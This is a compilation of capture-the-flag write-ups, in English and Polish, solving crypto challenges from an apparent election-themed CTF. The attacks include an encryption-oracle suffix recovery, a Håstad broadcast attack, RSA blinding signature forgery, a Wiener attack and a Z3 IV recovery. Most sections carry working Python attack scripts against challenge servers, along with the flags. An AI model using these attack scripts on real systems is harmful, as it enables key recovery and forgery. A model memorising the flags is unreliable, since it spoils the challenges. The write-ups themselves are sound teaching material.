with codecs.open("data.txt") as input_file: data = input_file.read() result = "" for entry in data.split(" "): repeat = len(entry) - 3 if entry[0] == "T": result += "1" * repeat else: result += "0" * repeat print(result) chunked = [result[i:i + 8] for i in range(0, len(result) - 7, 8)] print(chunked) converted = [chr(int(c, 2)) for c in chunked] print("".join(converted))```
Który dał nam flagę: `flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}` |
# Boxes of ballots (crypto 200)
###ENG[PL](#pl-version)
In the task we get access to some AES-CBC encryption service.There was some debug mode avaialble which apparently could be used to extract some of the server code, but this was totally unnecessary.If we send some payload we get encrypted results.It's quite easy to notice that we get much more data, which means there has to be prefix or suffix added to our data.It can't be just PKCS padding because padding never exceeds a single block, and here we had more.
We quickly realise that there is no prefix to the data, simply by observing when encrypted block gets "fixed".It happens after we provide exactly 16 bytes (so a full block), which means there can be no static prefix.If there was some static prefix added, the block would get a "fixed" value after providing less characters (until the block boundary is filled).
So we have a long suffix added to the payload before encryption.It's quite clear that we should check this suffix.We wrote about this a few times, and the technique is quite basic:
1. We send data so that first character of padding is the last character in a certain block.2. We remember the encrypted version of this block (which is [AAAA...AAS] where S is the secret padding byte)3. We encrypt many blocks with this last byte set to different values, so [AAAA...AAa], [AAAA...AAb], [AAAA...AAc]...4. If the block from 2) matches block from 3) it means we know the value of the secret byte!5. We perform this again, this time sending our random filling bytes shorter by 1 byte, so that we get encrypted [AAAA...AAKS] where K is the padding byte we already know from 4) and S is another secret byte we want to know.
We used a script:
```pythonimport socketimport string
import sysfrom flask import json
url = "boxesofballots.pwn.republican"port = 9001s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((url, port))
def blackbox_encrypt(data): data = '{"op": "enc", "data": "' + data + '"}' s.sendall(data + "\n") result = s.recv(9999) loaded = json.loads(result) return loaded['data']
def chunk(input_data, size): return [input_data[i * size:(i + 1) * size] for i in range(len(input_data) / size)]
if __name__ == "__main__": suffix = "" for i in range(63 - len(suffix), 0, -1): data = 'A' * i correct = chunk(blackbox_encrypt(data), 32)[3] for c in '{' + "}" + "_" + string.letters + string.digits: test = data + suffix + c try: encrypted = chunk(blackbox_encrypt(test), 32)[3] if correct == encrypted: suffix += c print('FOUND', 63 - i, c) if c == "}": print(suffix) sys.exit() break except: pass print(suffix)```
And got the flag: `flag{Source_iz_4_noobs}`
###PL version
W zadaniu dostajemy dostęp do serwera szyfrującego AES-CBC.Dostępny był jakis debug mode który pozwalał poznać część kodu serwera za pomocą wywoływania błędów, ale nie było nam to w ogóle potrzebne.Jeśli wyślemy jakieś dane, otrzmujemy szyfrogram.Łatwo zauważyć, że dostajemy dużo więcej danych niż wysłaliśmy, więc musi być dodany jakiś prefix/suffix.Nie może to być sam padding PKCS bo ten nigdy nie przekracza 1 bloku, a u nas było więcej.
Szybko zauważamy, że nie może tam być żadnego statycznego prefixu, poprzez obserwacje kiedy dany blok jest "ustalony".Dzieje się tak, dokładnie po wysłaniu 16 bajtów (więc całego bloku) co oznacza, że nie ma miejsca na stały prefix.Gdyby był taki prefix, blok byłby "ustalony" wcześniej (kiedy blok by się dopełnił).
Mamy więc długi suffix dodany do danych przed szyfrowaniem.To dość jasne, że mamy ten suffix odzyskać.Pisaliśmy o tym kilka razy i technika jest dość prosta:
1. Wysyłamy dane tak żeby pierwszy bajt paddingu był ostatnim znakiem w pewnym bloku.2. Pamiętamy zaszyfrowaną wersje tego konkretnego bloku (czyli [AAAA...AAS] gdzie S to sekretny znak paddingu)3. Szyfrujemy wiele bloków z ostatnim bajtem ustawionym na różne wartości, więc [AAAA...AAa], [AAAA...AAb], [AAAA...AAc]...4. Jeśli blok z 2) pokrywa się z blokiem z 3) oznacza to że znamy sekretny bajt!5. Powtarzamy to kolejny raz, tym razem skracając nasz payload o 1 znak więc dostajemy szyfrogram dla [AAAA...AAKS] gdzie K to bajt który już znamy z 4) a S to kolejny sekretny bajt który chcemy poznać.ret byte we want to know.
Użyliśmy skryptu:
```pythonimport socketimport string
import sysfrom flask import json
url = "boxesofballots.pwn.republican"port = 9001s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((url, port))
def blackbox_encrypt(data): data = '{"op": "enc", "data": "' + data + '"}' s.sendall(data + "\n") result = s.recv(9999) loaded = json.loads(result) return loaded['data']
def chunk(input_data, size): return [input_data[i * size:(i + 1) * size] for i in range(len(input_data) / size)]
if __name__ == "__main__": suffix = "" for i in range(63 - len(suffix), 0, -1): data = 'A' * i correct = chunk(blackbox_encrypt(data), 32)[3] for c in '{' + "}" + "_" + string.letters + string.digits: test = data + suffix + c try: encrypted = chunk(blackbox_encrypt(test), 32)[3] if correct == encrypted: suffix += c print('FOUND', 63 - i, c) if c == "}": print(suffix) sys.exit() break except: pass print(suffix)```
I dostaliśmy flagę: `flag{Source_iz_4_noobs}` |
# SMTPresident (crypto 400)
###ENG[PL](#pl-version)
This was sadly a very badly designed task, because the last step was broken and required a crystal ball to figure out what auther had in mind.Unfortunately we figured this out after the CTF was over.
In this task we get 170 encrypted emails, 170 public keys for them and encrypted flag.First thing we notice is that there are 17 emails per single date.Next we notice that each pubblic key has public exponent `e` equal to 17.
This automatically bring to mind the Hastad broadcast attack using Chinese Reminder Theorem!We assume here that each day the message that was sent is identical and therefore we have CRT resiude-modulus pairs.
We solve CRT with:
```pythondef solve_crt(residues, moduluses): import gmpy2 N = reduce(lambda x, y: x * y, moduluses) Nxs = [N / n for n in moduluses] ds = [gmpy2.invert(N / n, n) for n in moduluses] mults = [residues[i] * Nxs[i] * ds[i] for i in range(len(moduluses))] return reduce(lambda x, y: x + y, mults) % N```
This way we hopefully get `message ^ 17` and by applying integer nth root we recover the value of `message` for each date.Messages are for example:
```4/5/16Sub##ct:#My ##llow#D#C#Mem###s#onte#t:##e#p t#####a## <MI#SIN##1#62866###4###8349#477####17117####0#97909##6#6##248#11##0478#######87##3##0169#2######30#71###### th#######e#key #####r### o#.4/2/16####e#t:##y F#l#o# DN# #e###r#Co#ten## Kee# this#s##e #M#S#I##>18#2#661##4##08#4##47#2#1#1##1#5#6#0#9#90###6467#24##1180###8#2#29##8705350##6#####6#13#0#7###553# t##t'# ##e key #e a#ree####.```So it seems it's a single message just with missing bytes in different mails.We combine this to get:
```Subject: My Fellow DNC MembersContent: Keep this safe <MISSING>1862866103431083493477241717117566609979097064670248011800478128293487053500169824960133057115553, that's the key we agreed on.```
And now comes the uber-confusing guessing part.Apparently author assumed that we will figure out that he meant the number above does not only specify the suffix of the decryption exponent but also the low bits.This of course is not justified at all by the data we have, it's just a pure guess.But it you follow this, you can recover most of `d` bits simply by checking which combination of higher bits won't change the suffix value.
In the end you can run a standard partial key recovery algorithm and even with high public exponent 65537 you can recover the key reasonably quickly.
This could, theoretically, be solved without a crystal ball, but it would require significant computational power...
###PL version
To niestety było bardzo źle zaprojektowane zadanie, głównie dlatego, że ostatni krok wymagał szklanej kuli, żeby zgadnać co autor miał na myśli.Nam udało sie to dopiero po zakończeniu CTFa.
W tym zadaniu dostajemy na początku 170 zaszyfrowanych maili, 170 kluczy publicznych oraz zaszyfrowaną flagę.Pierwsza rzecz którą zauważamy, to fakt, że każdego dnia jest 17 maili.Następnie zauważamy, że publiczny wykładnik szyfrujacy wynosi 17.
To automatycznie przywodzi na myśl atak Hastad broadcast z wykorzystaniem Chińskiego Twierdzenia o Resztach.Zakładamy tutaj, że każdego dnia wysyłano tą samą wiadomość a tym samym znamy pary reszta-modulus dla CRT.
Rozwiązujemy CRT:
```pythondef solve_crt(residues, moduluses): import gmpy2 N = reduce(lambda x, y: x * y, moduluses) Nxs = [N / n for n in moduluses] ds = [gmpy2.invert(N / n, n) for n in moduluses] mults = [residues[i] * Nxs[i] * ds[i] for i in range(len(moduluses))] return reduce(lambda x, y: x + y, mults) % N```
I w ten sposób liczymy na otrzymanie wartości `message^17` i wyliczając całkowity pierwiastek 17 stopnia odzyskujemy wartość `message` dla każdej daty.Wiadomości które dostajemy wyglądają tak:
```4/5/16Sub##ct:#My ##llow#D#C#Mem###s#onte#t:##e#p t#####a## <MI#SIN##1#62866###4###8349#477####17117####0#97909##6#6##248#11##0478#######87##3##0169#2######30#71###### th#######e#key #####r### o#.4/2/16####e#t:##y F#l#o# DN# #e###r#Co#ten## Kee# this#s##e #M#S#I##>18#2#661##4##08#4##47#2#1#1##1#5#6#0#9#90###6467#24##1180###8#2#29##8705350##6#####6#13#0#7###553# t##t'# ##e key #e a#ree####.```
Więc widać, że to jedna wiadomość, tylko dla różnych dat brakuje różnych fragmentów.Składamy to i dostajemy:
```Subject: My Fellow DNC MembersContent: Keep this safe <MISSING>1862866103431083493477241717117566609979097064670248011800478128293487053500169824960133057115553, that's the key we agreed on.```
I teraz następuje bardzo dziwna część zgaduj zgaduli.Najwyraźniej autor założył, że wpadniemy na to, że liczba powyżej nie określa jedynie suffixu wykładnika deszyfrującego, ale także niskie bity.To jest oczywiście niczym nie poparte w danych którymi dysponujemy, to zwykłe zgadywanie.Ale jeśli poczynimy takie założenie, możemy odzyskać większość bitów `s` zwyczajnie testując które kombinacje wysokich bitów nie zmienią nam suffixu.
Finalnie możemy uruchomić standardowy algorytm odzyskiwania klucza z częściowych danch i nawet dla wysokiej eksponenty 65537 możemy odzyskać klucz wzlgędnie szybko.
To teoretycznie można by też rozwiązać bez szklanej kuli, ale wymagałoby dość sporej mocy obliczeniowej... |
# TOPKEK (50 p)
```A CNN reporter had only one question that she couldn't get off her mind
Do we even know, who is this 4 CHAN???
So she set out to find who this 400lb hacker is. During her investigation, she came across this cryptic message on some politically incorrect forum online, can you figure out what it means?```
There is a ciphertext attached to this challenge, which contains the following:
```KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!```
First guess is a binary, and judging from the amount of points given for this challenge, that is probably no more complicated than that. `TOP` is either `0` or `1` and the number of `!` denotes the number of each symbol. We try both and find that `TOP` maps to `1`, so `KEK` is `0`. The following code decodes the ciphertext.
```pythonsplit_cipher = ciphertext.split()decrypted = ''for block in split_cipher: if block.startswith('KEK'): decrypted += '0' * (len(block) - 3) else: decrypted += '1' * (len(block) - 3)
decrypted = int(decrypted, 2)print libnum.n2s(decrypted)```
This gives
```flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}```# Trump Trump (100 p)
```With Trump about to be in office, autographed photos of him are selling like wildfire. The only problem is:Trump makes it a point to never sign a photo of himself. If you could get a signed picture, you could stand to make DOZENS of dollars.
nc trumptrump.pwn.republican 3609```
We get the following parameters
```pythone = 65537N = 23377710160585068929761618506991996226542827370307182169629858568023543788780175313008507293451307895240053109844393208095341963888750810795999334637219913785780317641204067199776554612826093939173529500677723999107174626333341127815073405082534438012567142969114708624398382362018792541727467478404573610869661887188854467262618007499261337953423761782551432338613283104868149867800953840280656722019640237553189669977426208944252707288724850642450845754249981895191279748269118285047312864220756292406661460782844868432184013840652299561380626402855579897282032613371294445650368096906572685254142278651577097577263```Converting the image to a number
```pythonf = open('trump.jpg', 'r')data = libnum.s2n(f.read()) % N```
we try to submit it, which incidentially fails. We can exploit that sign(a) × sign(b) = sign(a × b). Since the image is divisible by for instance 5, we can factor out this and sign the two parts separately.
```sign(data / 5) = 15742105247958736958004859844860106392650529642491444791655288653059139800053206167023792876159338330811553994563264038797209523053486931817881299156223450837206775783069574776254654197337314541494064874054449749920216258529257414289049794126137529358458843274774718683434637726891822317083908587215429977340799931758155377373656742947190372216055450421108566287038161365843817023142180328035768992726841684537565155117632165969899505426984495819465218509929865350057283134017766501372618581237936784285588661088765130624093014320161531747074858737002260566015050922492437422682387506583350890218827504186050632600504sign(5) = 18938431620064949405099081881389422411569506620645684785718437650149907701313939238017399264771270907473551575023831816899182480214946633959498312433619616816861526269114681215528914329791099013891595131862543300865871379621247867883669403120593815746911158013483346808195756730946735362037791985948842449343328484149265803462983935765047801620079220588638013959948297979415581591179722303271496129424130559547762467547913292325129340535450673107267746074776721093375970510983576513946461957148135755448610570645462794635156136176208419134557678284424568016798221633694322809374691561612990098051154456165773266086828```so,
```sign(data) = 7240527260044126899075832339973255923943354335060037001558105343295495841635843603507411996488568977206115374657942401805673165802944813082589201103827861325639581582005106924492724100812077464571265915352012064311221086996199961637876724784326540728342282620427706011099830010859187486529928704673604893811823836195858916605646466850177580221970723526928598144155086898666864544017092301766812496415256830844105167571316067435310083881243302996555421199570092966497927454347195963984192282682803663188954259681974561132158520131591167970511602803401392202553720288822909116428852233039667283953852194960467196349739```
Sending this to the service, we get
```Duneld Trump: Well, I already met my quota for Guantanimo Bay inmates today, so okay.Trump looks shocked, appalled by the fact that he'd sign a picture of himself for such a not-billionaire.Trump sprints away at a blinding 2mph, dropping what he was carrying.It's a stack of photos, you pick one up and look at it.ffd8ffe000104a46494600010101006000600000ffdb0043000302020302020303030304030304050805050404050a070706080c0a0c0c0b0a0b0b0d0e12100d0e110e0b0b1016101113141515150c0f171816141812141514ffdb00430103040405040509050509140d0b0d1414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414ffc20011080173029403011100021101031101ffc4001d000002020301010100000000000000000003040102000506070809ffc4001b01000301010101010000000000000000000002030104050607ffda000c03010002100310000001f9904c0c090837024303025896590c36431480cc202776420c90c0c08090c090c090c3242c6f5136f41853dd38e9d0ab557756b58562b284099bb4657767675d55339066f27e8978ef673ebc3030dc08090c330303021770302ccb3b9218658622e955ec8d20...```
Let us write code to make it viewable:
```pythonimport libnumfrom pwn import *
v = remote('trumptrump.pwn.republican', 3609)v.recv(1024)v.send(str(s) + '\r\n')
for i in range(4): v.recvline()data = v.recvline()open('trump1.jpg','w').write(libnum.n2s(int(data, 16)))```

# Vermatrix Supreme (100 p)
```Working in IT for a campaign is rough; especially when your candidate uses his password as the IV for your campaign's proprietary encryption scheme, then subsequently forgets it. See if you can get it back for him.The only hard part is, he changes it whenever he feels like it.
nc vermatrix.pwn.democrat 4201```
Along this, we get the code for the encryption scheme.
```pythonimport sys, random, time
flag = "flag{1_sw34r_1F_p30Pl3_4cTu4lLy_TrY_Th1s}"
def printmat(matrix): for row in matrix: for value in row: print value, print "" print ""
def pad(s): if len(s)%9 == 0: return s for i in xrange((9-(len(s)%9))): s.append(0) return s
def genBlockMatrix(s): outm = [[[7 for x in xrange(3)] for x in xrange(3)] for x in xrange(len(s)/9)] for matnum in xrange(0,len(s)/9): for y in xrange(0,3): for x in xrange(0,3): outm[matnum][y][x] = s[(matnum*9)+x+(y*3)] return outm
def fixmatrix(matrixa, matrixb): out = [[0 for x in xrange(3)] for x in xrange(3)] for rn in xrange(3): for cn in xrange(3): out[cn][rn] = (int(matrixa[rn][cn])|int(matrixb[cn][rn]))&~(int(matrixa[rn][cn])&int(matrixb[cn][rn])) return out
def chall(): IV = [c for c in '?????????'] seed = "??????????????????"
blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed]))
res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
print "SEED: " + str(seed) printmat(res)
data = raw_input("")
data = data.replace(' ', '').strip().split(',')
if len(data) != 9: return False
for i in xrange(len(IV)): if str(IV[i]) != str(data[i]): return False
return True
if chall(): print flag```
The `IV` is a series of 9 numbers in some undefined range. Instead of spending a bunch of time to find some algebraic relations that we can exploit, we can use Z3. We define a set of variables (BitVec) for Z3, representing the unknown `IV`. Since the matrix we receive should contain the same values as the computed one, given `seed` and the correct `IV`, we set up equality relations.
```pythonfrom z3 import *from pwn import *from vermatrix import *
def find_iv(seed, target): s = Solver() IV = [BitVec('%d' % i, 32) for i in range(1,10)] blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed])) res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
for y1, y2 in zip(res, target): for x1, x2 in zip(y1, y2): s.add(x1 == x2) # they should be equal! return s```
Now, we can use this routine in connecting to the server as follows:
```pythoncontext.log_level = 'error'v = remote('vermatrix.pwn.democrat', 4201)
seed = v.recvline().split()[1]target_matrix = [[int(x) for x in v.recvline().split()] for i in range(0, 3)]s = find_iv(seed, target_matrix)
if s.check() == sat: m = s.model() out = [0]*9 for x in m: out[int(str(x))-1] = m[x] v.send(str(out)[1:-1] + '\n') print 'FLAG: {0}'.format(v.recvline())```
Running the whole code, we obtain
```flag{IV_wh4t_y0u_DiD_Th3r3}```
# Boxes of Ballots (200 p)
```Privjet Komrade!
While doing observing of Amerikanski's voting infrascture we find interesting box. We send operative to investigate. He return with partial input like showing below.He say box very buggy but return encrypted data sometimes. Figure out what box isdo; maybe we finding embarass material to include in next week bitcoin auction, yes?
ebug": true, "data": "BBBBBBBBBBBBBBBB", "op": "enc"}
nc boxesofballots.pwn.republican 9001```
This challenge is very similar to [this](https://github.com/grocid/CTF/tree/master/IceCTF/2016#l33tcrypt-90-p)). We can solve it as follows:
```pythonfrom pwn import *import jsonimport string
def getdata(res): for l in res.split('\n'): if l.startswith('{"Status"'): return json.loads(l)['data']
def getreference(buflen, v): data = {"debug": False, "data": 'x'*buflen , "op": "enc"} payload = json.dumps(data).replace('False', 'false') v.send(payload + '\n') response = v.recv(1024) ref = getdata(response)[:64] return ref
context.log_level = 'error'v = remote('boxesofballots.pwn.republican', 9001)result = ""buflen = 31
while buflen: ref = getreference(buflen, v)
for i in string.printable: data = {"debug": False, "data": 'x'*buflen + result + i, "op": "enc"} payload = json.dumps(data).replace('False', 'false')
v.send(payload + '\n') response = v.recv(1024) res = getdata(response) if res[:64] == ref: result += i buflen -= 1 print result break else: print "[-] Error" exit(-1)```
gives
```flag{Source_iz_4_noobs}```
Michał Żuberek ([Z](http://z.bigi.pl)) of my team Snatch the Root solved this one.
# The Best RSA (250 p)
```At his last rally, Trump made an interesting statement:
I know RSA, I have the best RSAThe more bits I have, the more secure my cyber, and my modulus is YUUUUUUUUUUUUUGEWe don't believe his cyber is as secure as he says it is. See if you can break it for us```
We get a file with a public exponent `e = 65537` and a massive public modulus `N`. Clearly, there is something strange with this modulus. The first obvious move is to check for small factors, and in fact, we find that 3 is a factor. Not once, but several times. The whole modulus consist of very small prime factors. Let us write some code to factor it!
```pythonimport libnum, grocid, challenge
def get_private_exponent(phi, e): return libnum.modular.invmod(e, phi)
def find_factors(n, h): primes = grocid.sieve(h) factors = {} for p in primes: while n % p == 0: n = n / p if p in factors: factors[p] +=1 else: factors[p] = 1 return factors
print '[+] Factoring n...'single_factors = find_factors(challenge.n, 10000)```
OK, so we got a dictionary containing each prime factor and its corresponding exponent. It looks like this:
```python{3: 1545, 5: 1650, 7: 1581, 137: 1547, 11: 1588, 13: 1595, 17: 1596, 19: 1553, 149: 1572, 23: 1579, 29: 1549, 31: 1613, 163: 1589, 37: 1594, 167: 1578, 41: 1524, 43: 1538, 173: 1617, 47: 1571, 229: 1610, 179: 1556, 53: 1635, 59: 1556, 151: 1549, 61: 1605, 181: 1582, 193: 1549, 67: 1606, 197: 1520, 71: 1589, 73: 1571, 241: 1564, 79: 1548, 83: 1630, 139: 1638, 89: 1535, 199: 1574, 223: 1610, 97: 1456, 227: 1600, 131: 1540, 101: 1514, 103: 1583, 233: 1564, 107: 1591, 109: 1529, 239: 1556, 157: 1600, 113: 1601, 211: 1544, 251: 1493, 191: 1564, 127: 1565}```
So, we can compute ϕ and the corresponding private exponent:
```pythonphi = challenge.nprint '[+] Computing phi...'for p in single_factors: phi = phi / p * (p - 1)
print '[+] Computing private exponent'd = get_private_exponent(phi, 65537)```
This enables us to decrypt! However, if you try it, you will probably notice that it takes quite some time and memory to compute cᵈ (mod n). Now, we can speed this a bit using CRT. So, we compute cᵈ (mod 3¹⁵⁴⁵) and so on separately, for each prime factor and then use CRT to reconstruct the whole message:
```pythonremainders = []moduli = []
for p in single_factors: modulus = pow(p, single_factors[p]) moduli.append(modulus) remainder = pow(challenge.c, d, modulus) remainders.append(remainder)
plaintext = libnum.modular.solve_crt(remainders, moduli)print 'Message: {0}'.format(libnum.n2s(plaintext))```
It still takes some time to complete, but it is managable (left it running while doing other stuff so...). It could possibly be made faster by Hensel lifting, but I decided not to try it. When done, we get a message which is a image file.:

# Baby's hands (300 p)```We think that Trump's right hand man has been sending out flags from his personal computer, but we need to be sure. See if you can make anything out of the trafficwe intercepted.```
The initial two lines are
```python{d:n:c}{64193765095472280945778947695026260940793161700792092928929371930940586875921621250436677664062645637750266086941620369817913432656342447118119648040487568561166129534408858429501807430550886328164336961068507005046531729954378900389289038547121166749974617776234380115780563231906876010653549490718147637109:162375468556255342840184380017752307049575955143811124651668179546999144455415632265862602514386409412258772643790637233144774447636694664087397175482938958661142022166864007317692608104513835959387316735889741416403005613839667775733147723497537341613995375357897642024075069112712472560335406551536669543677:161368580245997137625438248139098888389801359838792140099794084052829279383422322670122662786704858201672541232233171127388341066584896672407182421832728901923771676356720611937864219195771372253188974650818854505110963737925290199983571032857746780899310446337006151661497839040062867489758146326490061720009}```
OK, so the private exponent `d` is published. We try to compute cᵈ (mod n) and look at the binary data with binwalk. No results. Hm... so, what if we need the public exponent `e` to compute the plaintext? We can probably find this with Wieners attack! Let us try it!
```pythonimport libnum, grocid
f = open('intercepted', 'r')
data = f.read()data = data.split('\n')
for line in data[1:]: d, n, c = [int(x) for x in line[1:-1].split(':')] e = grocid.wiener.attack(d, n)```
This yields
```flag{G3t_1t?_1t_h4s_4_sm4ll_d}```
# SMTPresident (400 p)
```The FBI reopened their investigation of Hillary Clinton after they recovered some interesting files from her personal email server.
emailspubkeysflag```
The file `pubkeys` contains a set of public keys with very small public exponent (e = 17). Assuming that every message sent on the same date is identical, we can use Håstad's broadcast attack. Incidentially, we have 17 of each every date. The following Python code will do just fine:
```pythonfrom os import listdirfrom os.path import isfile, joinfrom Crypto.PublicKey import RSAfrom base64 import b64decodeimport re, libnum, gmpy
def get_files(path): return [f for f in listdir(path) if isfile(join(path, f))] pubkeysfiles = get_files('./pubkeys')emailfiles = get_files('./emails')pubkeys = {}encrypted_emails = {}
for pubkeyfile in pubkeysfiles: f = open('./pubkeys/' + pubkeyfile, 'r') data = f.read().replace('-----BEGIN RSA PUBLIC KEY-----', '').replace('-----END RSA PUBLIC KEY-----', '') data = b64decode(data) pubkeys[pubkeyfile] = RSA.importKey(data) f.close()
for emailfile in emailfiles: f = open('./emails/' + emailfile, 'r') data = f.read() sender = re.findall('To: (.*)@dnc', data)[0] date = re.findall('Date: (.*)\n', data)[0] content = re.findall('Content: (.*)', data)[0] if not date in encrypted_emails: encrypted_emails[date] = {} encrypted_emails[date][sender] = int(content, 16)
message_content = Falsefor date in encrypted_emails: moduli = [] remainders = [] for x in encrypted_emails[date]: moduli.append(pubkeys[x].n) remainders.append(encrypted_emails[date][x])
x = libnum.modular.solve_crt(remainders, moduli) x0 = gmpy.mpz(x) xr = x0.root(17) message = libnum.n2s(int(xr[0])) if not message_content: message_content = ['?'] * len(message) for i, c in enumerate(message): if c != '#': message_content[i] = c
print ''.join(message_content)```
which outputs
```Subject: My Fellow DNC MembersContent: Keep this safe <MISSING>1862866103431083493477241717117566609979097064670248011800478128293487053500169824960133057115553, that's the key we agreed on.```
OK, so let us assume that the key mentioned in the message is the lower bits of the private exponent. There is a method to solve this problem. A script which implements this method can be found [here](https://github.com/grocid/CTF/tree/master/CSAW/2016#still-broken-box-400-p) and [here](https://grocid.net/2016/03/14/0ctf-equation/).
Unfortunately, the computation did not finish (e = 65537 takes some time to run, even multithreaded). Pity. |
https://binarystud.io/hackthevote-2016-vermatrix-supreme-writeup.htmlA very verbose, in-depth writeup intended to convey though process for new ctf-ers. |
We are provided with an AVI with a children's show involving animated pigs. The father restarts the computer to fix some computer issues, and it works. We are then treated to an amusing sequence where the father is suddenly wearing "Deal with it" sunglasses and the word "HACKER" appears on screen as a tilting zoom fills the frame with his face.Using binwalk on the AVI, we note that there are a series of PNG images inside. Indeed, this is a MNG on the inside. We extract all the PNGs into their own directory and look at each one. No single-frame flag or QR code or some such here, all the images look relatively normal.Using strings on the AVI, we notice a link to an AVI file which appears to have the same contents. However, the md5 sums do not match! We use binwalk to extract the images, rename the images to correspond by frame number, and use Pillow to compare the image data until we find a single set of corresponding frames which do not match. Comparing the two images, it seems that some of the red, green, and blue values have been incremented in the altered version. We interpret incremented values as ones and unincremented as zeroes, and get a string of binary values which, when translated to ASCII, is a brainfuck program.We run the brainfuck program in a Javascript brainfuck interpreter, which spits out the flag. |
# Trump Trump (crypto 100)
###ENG[PL](#pl-version)
In the task we get access to remote RSA signature service.We also get a [picture](trump.jpg) we are supposed to sign with this service.But the server refuses to sign this specific payload.
We can send some random payloads and check how it's signed since we know the `e` and `n` public key components.We can figure out from this that RSA is unpadded!The attack is quite simple - it's RSA blinding attack on homomorphic unpadded RSA.In short: we can split the payload into parts, sign each one of the separately and then combine the signatures.
So we make a script:```pythonimport codecsimport socketimport refrom time import sleep
def bytes_to_long(data): return int(data.encode('hex'), 16)
def long_to_bytes(flag): flag = str(hex(flag))[2:-1] return "".join([chr(int(flag[i:i + 2], 16)) for i in range(0, len(flag), 2)])
def get_payload(payload): url = "trumptrump.pwn.republican" port = 3609 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) data = s.recv(9999) print(data) sleep(1) s.sendall(str(payload) + "\r\n") sleep(1) data = s.recv(99999999) return data
def get_signature(payload): data = get_payload(payload) print(data) return int(re.findall("kid: (\d+)", data)[0])
def combine_sigs(sig1, sig2): N = 23377710160585068929761618506991996226542827370307182169629858568023543788780175313008507293451307895240053109844393208095341963888750810795999334637219913785780317641204067199776554612826093939173529500677723999107174626333341127815073405082534438012567142969114708624398382362018792541727467478404573610869661887188854467262618007499261337953423761782551432338613283104868149867800953840280656722019640237553189669977426208944252707288724850642450845754249981895191279748269118285047312864220756292406661460782844868432184013840652299561380626402855579897282032613371294445650368096906572685254142278651577097577263 return (sig1 * sig2) % N
def find_divisor(picture_long): for i in xrange(2, 10000): if picture_long % i == 0: print(i) return i
def main(): with codecs.open("trump.jpg", "rb") as input_file: picture = input_file.read() picture_long = bytes_to_long(picture) print(picture_long) divisor = find_divisor(picture_long) sig1 = get_signature(picture_long / divisor) sig2 = get_signature(divisor) result_sig = combine_sigs(sig1, sig2) print(result_sig) payload = get_payload(result_sig) with codecs.open("result.bin", "wb") as output: output.write(payload)```
This code takes the payload to sign, finds integer divisor (in this case `3`), signs divisor and payload/divisor and then combines the signatures.Combining the signatures is just multiplying them back modulo `n`.
Now there was a very confusing step - what to do with the signature?Apparently author really likes guessing games...It turnes out we had to send the signature again to the server as payload and this would give us in return the picture with a flag:

###PL version
